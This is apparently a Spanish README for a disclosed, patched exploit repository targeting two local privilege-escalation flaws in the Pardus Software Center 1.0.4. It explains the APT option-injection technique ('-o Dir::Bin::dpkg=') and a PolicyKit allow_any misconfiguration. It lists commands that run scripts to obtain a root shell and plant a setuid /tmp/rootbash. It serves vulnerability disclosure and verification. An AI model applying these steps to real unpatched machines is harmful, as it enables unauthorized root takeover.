
PoC de Escalada de Privilegios Local en Pardus Software - afectado desde <= 1.0.4
Código de prueba de concepto y listo para explotación de dos problemas de escalada de privilegios locales en el paquete pardus-software (Centro de Software de Pardus) versión 1.0.4, ambos corregidos en 1.0.5.
| CVE | Clase | Resumen | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — Inyección de Argumentos | Un miembro del grupo pardus-software (sin sudo, sin contraseña) inyecta opciones de APT (-o Dir::Bin::dpkg=…) en el asistente privilegiado y ejecuta código arbitrario como root. | 8.8 ALTO |
| CVE-2026-14460 | CWE-862 — Autorización Faltante | La acción autoaptupdateaction de PolicyKit incluye allow_any=yes, permitiendo que cualquier usuario local ejecute el asistente de actualización como root, sin autenticación (DoS local). | 8.8 ALTO |
Afectado: pardus-software 1.0.4 · Corregido: pardus-software 1.0.5
Vendedor: Pardus / TÜBİTAK BİLGEM · Divulgación coordinada a través del vendedor y USOM (CERT-TR).
Este código se publica con fines de investigación defensiva, educación y verificación de una vulnerabilidad parcheada y divulgada públicamente. Ambos problemas están corregidos en pardus-software 1.0.5.
Ejecútelo solo en máquinas virtuales aisladas y desechables que posea o para las que tenga autorización explícita para probar. No lo ejecute contra sistemas que no controle. Usted es responsable de cumplir con todas las leyes aplicables. El autor no acepta responsabilidad por el mal uso.
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # original benign PoC (proof-only; both CVEs)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → interactive root shell
└── exploit-14460.sh # CVE-2026-14460 → unauth root apt-update (DoS)
Un solo poc.sh cubre ambos hallazgos mediante subcomandos:
La versión poc/ es benigna: solo registra la salida de id en /tmp/pardus_lpe_proof y deja un /tmp/rootbash setuid-root como prueba. Las versiones exploit/ son las equivalentes armadas, "dame un shell root" para demostración en objetivos autorizados.
poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
El PoC benigno incluye un asistente para crear una cuenta victim sin privilegios en el grupo pardus-software (sin sudo), en una VM desechable de Pardus 25:
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# if 'hello' is already installed/unavailable: ./poc.sh B sl
# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
Esperado: sin solicitud de contraseña; la salida muestra uid=0(root), /tmp/pardus_lpe_proof propiedad de root, y /tmp/rootbash como -rwsr-xr-x root root (setuid root). Para B, APT también imprime su propia señal de que el script inyectado se ejecutó en lugar de dpkg:
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
Affected packages: hello:amd64
Ejecute estas como el usuario objetivo sin privilegios (para 14459, un miembro de pardus-software).
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
# run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
# demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20
En un host parcheado (>= 1.0.5) ambos scripts fallan limpiamente y lo indican.
CVE-2026-14459. El método install() de Actions.py divide el argumento packages en espacios y añade los tokens directamente al vector de argumentos de apt — sin validación de nombres, sin terminador de opciones --. Cualquier token que parezca una opción de APT se respeta, incluyendo -o Dir::Bin::dpkg=<path>, que reemplaza el backend del gestor de paquetes por un script atacante que luego se ejecuta como root. El mismo patrón existía en remove/upgrade/reinstall/downgrade.
CVE-2026-14460. La acción PolicyKit autoaptupdateaction se declaró con allow_any=yes, autorizando a cualquier sujeto sin autenticación. Cualquier usuario local podía invocar AutoAptUpdate.py como root — una superficie de DoS local.
Artículos técnicos completos (EN + TR): (https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1 https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250)
Corregido en pardus-software 1.0.5:
a6ff277 — validación de nombres de paquetes (regex parse_packages() + separador --) para las acciones de apt (CVE-2026-14459).70210af — allow_any: yes → auth_admin para autoaptupdateaction (CVE-2026-14460).Si ejecuta Pardus, actualice a pardus-software 1.0.5 o posterior.
a6ff277 · 70210afInvestigación y divulgación coordinada por Kerem Kaan Daşmaz.
| Subcomando | Prueba | Notas |
|---|
poc.sh B | CVE-2026-14459 | Inyección de opción de APT (-o Dir::Bin::dpkg) — el hallazgo principal |
poc.sh A | CVE-2026-14459 | Paquete .deb local sin firmar a través del mismo camino de confianza (demostración secundaria) |
poc.sh autoupdate | CVE-2026-14460 | apt update como root sin autenticación |